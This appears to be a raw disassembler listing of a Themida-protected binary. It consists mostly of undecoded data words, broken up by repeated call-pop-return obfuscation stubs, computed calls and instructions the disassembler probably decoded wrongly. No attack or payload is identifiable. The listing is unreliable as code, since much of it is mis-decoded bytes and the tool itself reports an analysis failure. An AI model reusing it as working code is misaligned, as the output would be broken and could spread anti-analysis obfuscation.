		dd 0B9BD898Dh, 6107D10Ch, 6A70E6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 312847C3h, 0D130B9B5h
		dd 6071E407h, 6820Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		mov	bx, dx
		popa
		movzx	ebx, al
		push	0
		push	esi
		call	sub_5C7336
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7336	proc near		; CODE XREF: Themida_:005C732Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C7336	endp

; ---------------------------------------------------------------------------
		dw 5471h
		dd 8141EEA5h, 5AE681FCh, 0BA62B0BAh, 6,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 1DC35545h, 0F5C62168h
		dd 0AD9D89D6h, 8B07D114h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BE833E13h
		dd 0A3A72742h, 0B58B7302h, 7D131C5h, 8104E8C1h,	613E22D7h
		dd 0E2F7667Eh, 7B9B58Bh, 0D82B07D1h, 46FFBE66h,	575050F5h
		dd 310F5250h, 5E5E585Ah, 6A241C89h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F971C350h
		dd 1BEFBF66h, 2001B5FFh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 18BEA3C3h, 0FF557983h
		dd 0D1005595h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 85895651h, 7D12D41h, 6A00B05Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9DBC357h,	8A0CC40Eh, 8B662E81h, 0E870E6F0h
		dd 0Ah,	4770F80Eh, 413F4D39h, 8D899060h, 7D11DEDh, 6A71E45Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0DDE0C356h, 896084D7h, 0D1343D85h, 698D8B07h
		dd 6107D106h, 830F613Ch, 253h, 2B3DBD29h, 0B60F07D1h, 6BAD8h
		dd 0C38B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	92C35646h, 2CB6800Bh, 1FE67653h, 13E9FCh, 77E60000h
		dd 1D814B0Ah, 8BA98004h, 4F231846h, 0BC7F6321h,	4E8C1D3h
		dd 17559D89h, 0BE907D1h, 0DE000000h, 4497FC0Ah,	557BC0D5h
		dd 0F766CBACh, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0B94FAB25h, 40C05436h
		dd 0FF38B66h, 683h, 11B52B00h, 2B07D108h, 858958D8h, 7D133C1h
		dd 880FD82Bh, 1A7h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 35C35141h, 7B9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 74CE81A2h
		dd 835463EAh, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0B9A2BFC3h, 8B482383h, 0FB8B01B7h
		dd 860FD93Bh, 133h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0EFC35141h, 96A35B72h, 0B70FA421h, 0D98C66F8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8BC35545h
		dd 74BF9E31h, 0F65E3170h, 840F04C1h, 0B0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8C35343h, 32DB08Dh
		dd 0BD89C046h, 7D12D85h, 1C595FFh, 6A07D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FC135C3h
		dd 684h, 0C9958900h, 5B07D122h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0BC35343h, 0FC32B19h, 38Eh
		dd 0F7B70F00h, 8343Dh, 25860F00h, 0F000000h, 582h, 18B4BF00h
		dd 44E90602h, 51000000h, 0EE9h,	43542700h, 3F053DF4h, 262B8CC9h
		dd 5FEF1BADh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0AE31BBC3h, 8DED703Eh, 5E943h, 0B3660000h
		dd 8BF96735h, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0A5DFC352h,	0DE7DD447h
		dd 20E585C7h, 0BB3907D1h, 6A165Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 6C83B4C3h, 8BC2ACD6h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0EA8242C3h, 2E1EE9C2h, 0C3B7601Eh, 6290EE81h
		dd 8B615D3Bh, 0D11445BDh, 1BD8107h, 0D007D120h,	0F000007h
		dd 2285h, 0C6CDBE00h, 85FF3EEFh, 7D12001h, 9A92E681h, 0CE91972h
		dd 3E000000h, 9A34841Fh, 0D7DB87A3h, 0FFCED4C2h, 0D12001B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 3A114A9Dh, 0FF8C9B3h, 985h, 3840F00h, 0F000000h
		dd 95FFF7BFh, 7D10055h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0B2C35242h, 1BF4111Ch, 0C5B0D5F4h, 8B4090CEh
		dd 0D12A11B5h, 45BD8307h, 7D11Dh, 0CC840Fh, 83F50000h
		dd 0D12E45BDh, 840F0007h, 0BEh,	7E8h, 19B67700h, 31E521F9h
		dd 1B55BD89h, 0FF5E07D1h, 0D11D4595h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0AF6D5582h, 840FC00Bh, 7Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 44C35343h, 0B0C1DC10h, 0D80A5291h
		dd 8651CF81h, 8D8D7AA5h, 7D14D0Ah, 5870Fh, 81660000h, 0B8FC73C7h
		dd 5, 0F598589h, 0B58B07D1h, 7D11E19h, 6AE1FFh,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 4AC47CC3h, 0C294CFB2h, 0DE819663h, 443BCCDBh, 1A7D9D31h
		dd 0BD8307D1h, 7D12B39h, 65840F00h, 0F000006h, 686h, 71BD8B00h
		dd 8107D114h, 4E1B3FEFh, 45BD8334h, 7D12Eh, 646840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0BA59BC3h, 0E9473ACDh, 5, 4530B784h,	0F58D8D9Ch, 8B07D12Bh
		dd 0D12351BDh, 8401C707h, 8944B27Ch, 0D103A58Dh, 0CB018107h
		dd 0E81499CFh, 8, 0B63E7CA4h, 0DD733DC2h, 0BE9h, 2386FF00h
		dd 0D630F9Dh, 0D4BF5C38h, 0F8C6815Eh, 0C7682451h, 6B340441h
		dd 0EE81CE70h, 68C79438h, 10044181h, 8931D6D7h,	0D12205B5h
		dd 6A006A07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2576C355h, 0E5992836h,	8DF98BF9h
		dd 0D12BF585h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D7A44CADh, 0E8F7BF0Fh
		dd 0Fh,	1CE034FAh, 0B1F70CFFh, 0AA5B9B83h, 8B685F8Ah, 0D10BF5B5h
		dd 0E8905F07h, 10h, 0AB4138D8h,	4BF6804Bh, 5AAE556Dh, 9C5AC7ADh
		dd 3ABE6650h, 505E5F83h, 8B665250h, 0E8310FF1h,	14h, 0E7E0E596h
		dd 7C4E186Bh, 8EEDA308h, 0ADE8D016h, 0F2CEA99Dh, 5EF28B66h
		dd 6A90585Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 39CFC350h, 0B77F2485h,	54503BC5h
		dd 0F5EFEE81h, 95FF0EBFh, 7D12B39h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 9EC35747h, 537C643h, 6800Fh
		dd 0BD8B0000h, 7D113A1h, 2BF58D8Dh, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A008D3C3h
		dd 6C3AD078h, 8D8D893Fh, 0C707D125h, 1,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 5297C1ADh, 441C75Fh,	0
; ---------------------------------------------------------------------------
		mov	[ebp+7D12A45h],	ebx
		or	eax, eax
		jz	loc_5C7BC3
		push	0
		push	eax
		call	sub_5C7B3D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7B3D	proc near		; CODE XREF: Themida_:005C7B35p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C7B3D	endp

; ---------------------------------------------------------------------------
		db 0BEh, 4Ch, 0E9h
		dd 8, 8F1667BCh, 2E874093h, 4D0A8D8Dh, 6A07D1h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 4EE59CC3h, 292EDC87h, 0D124E5BDh, 5B807h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F8803C3h, 0A82h, 858B6000h,	7D1310Dh, 0FF61FE8Bh, 75B52BE1h
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		pop	es


loc_5C7BC3:				; CODE XREF: Themida_:005C7B2Cj
		lea	ecx, [ebp+7D12BF5h]
		add	di, 724Bh
		mov	dword ptr [ecx], 44AA727Ch
		add	dword ptr [ecx], 1499CFCBh
		push	0
		push	ecx
		call	sub_5C7BE5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7BE5	proc near		; CODE XREF: Themida_:005C7BDDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C7BE5	endp

; ---------------------------------------------------------------------------
		pop	edx
		imul	ebp, ds:22D5B58Bh, -2Fh
		pop	es
		mov	dword ptr [ecx+4], 0CE78753Ch
		push	0
		push	ebx
		call	sub_5C7C10
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7C10	proc near		; CODE XREF: Themida_:005C7C08p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C7C10	endp

; ---------------------------------------------------------------------------
		aam	0BEh
		test	al, 51h
		mov	ch, 47h
		add	dword ptr [ecx+4], 31D6D710h
		push	0
		push	edi
		call	sub_5C7C38
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7C38	proc near		; CODE XREF: Themida_:005C7C30p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C7C38	endp

; ---------------------------------------------------------------------------
		dd 32F781E4h, 6A6598C7h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6E854B6Eh, 5BA3DB3h, 2209BD8Bh
		dd 858D07D1h, 7D12BF5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0B7C35242h, 81D9B563h, 90531F63h, 0F78B6650h
		dd 0FAB70F90h, 0FE1B58Bh, 95FF07D1h, 7D12B39h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CFC35242h, 0D7816656h
		dd 8D5F4B14h, 0D12BF58Dh, 86DDBE07h, 1C74585h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C7CF7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7CF7	proc near		; CODE XREF: Themida_:005C7CEFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C7CF7	endp

; ---------------------------------------------------------------------------
		db 91h
		dd 9457BB83h, 48AD956Ah, 0CE816665h, 41C7BB3Fh,	4, 0FC00B00h
		dd 8B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0EA4ABF56h, 8D8D3825h, 7D14D0Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h
		dd 337B3676h, 958960EAh, 7D12DB9h, 28CDBD89h, 0F56107D1h
		dd 2331B529h, 5B807D1h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6601C355h
		dd 0C1BAE681h, 8589E1FFh, 7D115B9h, 2BF58D8Dh, 6A07D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1A6DCEC3h, 9213EF13h, 0CE8694Bh, 28000000h, 2569B50h
		dd 0E7E71C68h, 0F502408h, 0C75EFBB7h, 0CA95A501h, 56006A54h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 559EE0E6h, 915EDD91h, 0CFCB0181h, 5E561499h,	690441C7h
		dd 6ACE5F59h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 94CAC353h, 5106EB9Fh, 8B7A0EC7h
		dd 0D12525B5h, 4418107h, 31D6D710h, 6AF88B66h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9589B9FAh, 7D10209h,	6DBD8B60h, 6607D108h, 8D61C28Bh
		dd 0D12BF585h, 6E05BE07h, 0BF900F39h, 1CA6A894h, 8221BE50h
		dd 0F906E13h, 95FFF6B7h, 7D12B39h, 8DFEB70Fh, 0D12BF58Dh
		dd 1C707h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 270AC357h, 0B21461FFh,	22E19501h
		dd 41C707D1h, 4, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0D7D903CEh, 66ED71A0h
		dd 8BAEB6BFh, 0D105CDB5h, 0FC00B07h, 5F84h, 14E800h, 26C80000h
		dd 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h, 9E87FC0h
		dd 0F8000000h, 0EFAB8536h, 551348FBh, 18999D89h, 5E5E07D1h
		dd 4D0A8D8Dh, 958907D1h, 7D10715h, 5B8h, 6AE1FF00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0BE17C356h, 0E0E9CA03h, 66FFFFF0h, 0C18BF98Bh, 99EE8166h
		dd 6DBD8BA4h, 0EB07D12Bh, 4, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E210CA74h
		dd 0AF41D4BBh, 0D781DD58h, 5E1BF07Dh, 6820Fh, 8D890000h
		dd 7D10099h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	74C35747h, 61858DA6h, 6607D113h, 90F8F18Bh, 8E95150h
		dd 0BE000000h, 0A3A72742h, 5E387302h, 9BD2390h,	6A07D100h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7CB2993Fh, 0B9F20C8Ch, 0C59BD8Bh, 0B58907D1h
		dd 7D120D1h, 8E0F006Ah,	3, 8DF1B70Fh, 0D51B4C85h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 4F6DF597h, 0B58B944Bh, 7D13415h, 3295BD8Bh, 0C08307D1h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0A126678Ch, 1DD9B589h, 91BF07D1h, 0BF409C3Fh
		dd 66CA8DE1h, 24048950h, 0FE8h,	0C8A73600h, 3F1C202Eh
		dd 324A4446h, 2D9F0681h, 33559589h, 6A5F07D1h, 0C850F00h
		dd 0F000000h, 68Bh, 81F78100h, 6A6314CFh, 89606000h, 0D10F31BDh
		dd 6E907h, 86750000h, 4C325779h, 7E961h, 8A100000h, 0B563B7ADh
		dd 0BD8B61D9h, 7D103E9h, 1DE195FFh, 0DE807D1h, 28000000h
		dd 0ADB8322Bh, 0AEA15E2Dh, 0DDAE2E2Eh, 0AD85295Fh, 8D07D11Eh
		dd 0D4D5669Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F2DE624h, 68Fh, 35BD8B00h
		dd 0BF07D12Fh, 0B742864h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FB8B68C3h, 292185FFh
		dd 0BE6607D1h, 0BE9F7B0h, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D51B56h
		push	0
		push	ecx
		call	sub_5C81A6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C81A6	proc near		; CODE XREF: Themida_:005C819Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C81A6	endp

; ---------------------------------------------------------------------------
		mov	ds:31B0AECBh, al
		xchg	eax, ebp
		aad	1Ch
		rol	dword ptr [edi], 1
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C82E5
		or	di, 624Eh
		mov	ebx, [ebp+7D133A1h]
		push	0
		push	edx
		call	sub_5C81E6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C81E6	proc near		; CODE XREF: Themida_:005C81DEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C81E6	endp

; ---------------------------------------------------------------------------
		sbb	al, 74h
		xchg	eax, ebp
		xchg	eax, edi
		or	eax, [bx]
		inc	ebp
		cdq
		fmul	dword ptr [ecx]
		lea	ebp, [ecx+6]
		rol	dword ptr [edi], 1
		and	ebx, 100h
		clc
		mov	edi, ecx
		or	ebx, ebx
		jnz	loc_5C829B
		movsx	esi, bx
		cmp	dword ptr [ebp+7D51957h], 0
		jz	loc_5C8285
		push	0
		push	esi
		call	sub_5C8232
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8232	proc near		; CODE XREF: Themida_:005C822Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C8232	endp

; ---------------------------------------------------------------------------
		retf	72Ch
; ---------------------------------------------------------------------------
		db 2Ch,	92h, 3Eh
		dd 8B6EE40Ch, 6E9F7h, 895F0000h, 988D6074h, 5DE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0B93FB571h, 899C5DC6h, 0D118A99Dh
; ---------------------------------------------------------------------------
		pop	es


loc_5C8285:				; CODE XREF: Themida_:005C8221j
		mov	dword ptr [ebp+7D51957h], 1
		mov	si, 4F28h
		jmp	loc_5C82BA
; ---------------------------------------------------------------------------
		movzx	edi, cx


loc_5C829B:				; CODE XREF: Themida_:005C8211j
		mov	dword ptr [ebp+7D51957h], 0
		push	esi
		jmp	loc_5C82B4
; ---------------------------------------------------------------------------
		db 0B5h
		dd 3F925FF4h, 54A913BCh
; ---------------------------------------------------------------------------


loc_5C82B4:				; CODE XREF: Themida_:005C82A6j
		pop	edi
		and	si, 28BCh


loc_5C82BA:				; CODE XREF: Themida_:005C8293j
		lea	ebx, [ebp+7D133A1h]
		call	sub_5C82D8
		out	dx, eax
		adc	al, 0D0h
		xchg	ch, [esi+2Eh]
		out	dx, al
		hlt
; ---------------------------------------------------------------------------
		db 3Eh,	7Eh, 78h
		dd 4C33850Eh, 122ECA72h

; =============== S U B	R O U T	I N E =======================================



sub_5C82D8	proc near		; CODE XREF: Themida_:005C82C0p
		mov	esi, [ebp+7D10C29h]
		pop	esi
		and	dword ptr [ebx], 0FFFFFEFFh


loc_5C82E5:				; CODE XREF: Themida_:005C81CAj
		mov	bx, ds
		push	0
		push	edi
		call	sub_5C82F3
		and	[edi-3Dh], bl
sub_5C82D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C82F3	proc near		; CODE XREF: sub_5C82D8+13p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C82F3	endp

; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5C8319
; ---------------------------------------------------------------------------
		db 0E4h, 6Fh, 2Dh
		dd 0BA646298h, 7DA318C6h, 0B6D26F43h
; ---------------------------------------------------------------------------
		dec	esi


loc_5C8319:				; CODE XREF: Themida_:005C8304j
		mov	di, 0E78h
		test	bl, 4
		jz	loc_5C83A2
		push	0
		push	edx
		call	sub_5C8331
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8331	proc near		; CODE XREF: Themida_:005C8329p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C8331	endp

; ---------------------------------------------------------------------------
		db 38h,	21h, 76h
; ---------------------------------------------------------------------------
		jmp	loc_5C8358
; ---------------------------------------------------------------------------
		db 8Ch,	0F2h, 39h
; ---------------------------------------------------------------------------
		sub	bh, 0A8h
		cmp	dl, [edi+ecx*2-7578E3F8h]
		or	ah, al


loc_5C8358:				; CODE XREF: Themida_:005C8344j
		jmp	loc_5C8371
; ---------------------------------------------------------------------------
		db 0F9h, 0AFh, 80h
		dd 0D15F096Ah, 0ADC59948h, 0C32B5778h, 2942A032h
		db 0D4h
; ---------------------------------------------------------------------------


loc_5C8371:				; CODE XREF: Themida_:loc_5C8358j
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	edx
		call	sub_5C8382
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8382	proc near		; CODE XREF: Themida_:005C837Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C8382	endp

; ---------------------------------------------------------------------------
		dw 769Ah
; ---------------------------------------------------------------------------
		pop	ds
		dec	esp
		db	3Eh
		push	es
		push	eax
		mov	[esp], eax
		add	[ebp+7D113E5h],	edi


loc_5C83A2:				; CODE XREF: Themida_:005C8320j
		jmp	loc_5C8789
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0DCBF6600h, 23BF6694h, 6A70E6D9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 6AD7C356h
		dd 9EB87DF6h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 903A1CC3h, 0F3A00965h, 899A9D24h
		dd 0D11F898Dh, 0D8B60F07h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0FDC35141h, 31CF959Ch, 8BF2BF0Fh, 0D11C41BDh
		dd 6BA07h, 8D890000h, 7D11C69h,	1ED1B58Bh, 0C38B07D1h
		dd 2690E781h, 0E8C10943h, 0D1BD0304h, 6607D121h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D0F92C3h, 6, 2D8DF781h, 81664ADDh, 2B2E7FDEh, 0DBD8BD8h
		dd 9307D123h, 52505250h, 310F5F52h, 585A5E56h, 11E9310Fh
		dd 0FB000000h, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h
		dd 5150585Ah, 8E8h, 11B30200h, 0EFB47661h, 5EFA8B6Ah, 0BD03935Fh
		dd 7D119B1h, 8A6BF66h, 2001B5FFh, 6A07D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2B6499C3h
		dd 3710A5DEh, 0AE81Fh, 3A5C0000h, 0F1994CD0h, 0CCBC4AF6h
		dd 289DB58Bh, 0FF5F07D1h, 0D1005595h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 16C5488Dh, 0F08B661Dh, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 48E7A7C3h, 56BB54DFh
		dd 0FC8211E2h, 0DE870E6h, 0FC000000h, 8DD14A5Dh, 14DD77FFh
		dd 6A40004Eh, 6E952h, 9C270000h, 333B5EA7h, 8B665F5Fh
		dd 3371E4F2h, 0D10BF5B5h, 0F613C07h, 1F883h, 0A1850900h
		dd 0F07D103h, 8B66D8B6h, 0CE9FBh, 3FA50000h, 426C8F29h
		dd 0CCC53EFDh, 6BA710Eh, 8B000000h, 6D9D29C3h, 8B07D12Dh
		dd 0D10F51BDh, 4E8C107h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 96C35141h, 5CCF0A63h,	5D6A7A4h, 0ADB589DAh
		dd 6607D11Fh, 0BF0FE2F7h, 0FD82BF3h, 2B58FEBFh,	86880FD8h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0C5CAC357h, 8B36C690h,	8E0F6495h
		dd 18h,	0CE8h, 0DDCB00h, 2BC1F979h, 0ED2ADD05h,	99BD0BAFh
		dd 5F07D121h, 771BD89h,	7B907D1h, 66000000h, 0C183FB8Bh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C636CBAAh, 29C0DE8Ch, 0D1332185h, 0FBE6607h
		dd 0FD93BD0h, 10086h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 2453BA7Bh, 257C56BFh
		dd 618D0932h, 6607D12Eh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B589F8C3h, 7D12179h
		dd 0F04C1F6h, 0A684h, 65B53300h, 0FF07D116h, 0D101C595h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0CED6CE05h, 8077AC21h, 12E962h, 455F0000h
		dd 37136261h, 0DF7B52A8h, 748646E1h, 0F727BC7h,	51006A5Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D89DB59h, 7D129DDh,	0B589C32Bh, 7D103F1h, 8343Dh, 28860F00h
		dd 66000000h, 22E9F38Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92ECC352h
		dd 8BF53AFEh
		db 0C0h
; ---------------------------------------------------------------------------


loc_5C8789:				; CODE XREF: Themida_:loc_5C83A2j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	esi
		call	sub_5C8798
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8798	proc near		; CODE XREF: Themida_:005C8790p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C8798	endp

; ---------------------------------------------------------------------------
		dd 9276575Dh, 70F458B0h, 890FC883h, 0
		dd 83D1DF81h, 85C7184Dh, 7D125A9h, 5CC20F1Bh, 25B1B589h
		dd 0C08B07D1h, 343DBD8Bh, 0AE807D1h, 0E1000000h, 0B48AB10Ch
		dd 4B35BF03h, 49BD8B1Ah, 5F07D107h, 2001BD81h, 7D007D1h
		dd 850F0000h, 18h, 2899B58Bh, 0BD8B07D1h, 7D11799h, 200185FFh
		dd 9D8907D1h, 7D11DE5h,	2001B5FFh, 0B58B07D1h, 7D12991h
		dd 88F0Fh, 8B560000h, 0D113BDB5h, 95FF5F07h, 7D10055h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2DC35747h
		dd 2B4E6724h, 0D10045B5h, 6A9007h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 646DC8C3h, 7E926CBFh
		dd 0B7BED664h, 604820CCh, 0BD8BC78Bh, 7D12E5Dh,	50006A61h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 68BF6642h, 0BD23604Ah, 7D10F39h, 33CE8B66h, 0D11DE5BDh
		dd 6A6107h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8BA7B5C3h, 0FFBF0FF9h, 7E9h, 88522F00h, 6D85E878h
